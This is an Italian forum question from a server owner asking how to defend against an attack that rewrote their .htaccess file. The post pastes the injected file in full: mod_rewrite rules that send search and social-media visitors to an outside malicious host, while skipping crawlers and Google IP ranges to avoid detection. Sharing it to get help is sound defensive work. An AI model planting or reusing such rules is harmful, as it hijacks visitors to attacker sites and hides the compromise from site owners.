Proteggi contro un attacco che modifica .htaccess?

Ho un server dedicato. Non c'è codice / sito in diretta ora, solo una pagina in arrivo. Pochi minuti fa mi sono reso conto che qualcuno ha cambiato il file .htaccess.

Come posso proteggere da questo tipo di attacco?

Il nuovo htaccess contiene queste righe:

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(imgres).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE}      !^.*MuA.*$ [NC]
RewriteCond %{HTTP_USER_AGENT}  .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS}            ^off$
RewriteRule .* - [E=MuA:%{TIME_SEC}]
RewriteRule .* - [E=YYP:avlasenko.prestigehonda.net]
RewriteCond %{ENV:MuA} 0
RewriteRule ^.* http://%{ENV:YYP}/openx/www/delivery/lg.php?bannerid=3613&campaignid=1349&zoneid=845&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=3daf1514be  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11598:/:0:HttpOnly]
RewriteCond %{ENV:MuA} 1
RewriteRule ^.* http://%{ENV:YYP}/tracker?event=media_connect_error&source=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&video_duration=128&domain=videocloud&playlist=1521712908001&video=1505115769001&platform=as3&time=1340351758343&errorCode=FMSConnectionError&flash_version=WIN\%2010\%2C1\%2C102\%2C64&embed=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mediaURL=rtmp://brightcove.fcod.llnwd.net/a500/e1/uds/rtmp/ondemand/\%26mp4:89804535001/89804535001_1505158207001_acma02-alus-h264.mp4\%261340341200000\%26303e88e79ad49760dd42e3d253368813&account=89804535001&player_name=Direct\%20Lyrics\%20Sidebar\%20Playlist\%20Player(TEMP)&player=1522730664001&video_name=Top\%205\%20ACMA\%20Nominees\%202012  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11468:/:0:HttpOnly]
....
more sites
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</IfModule>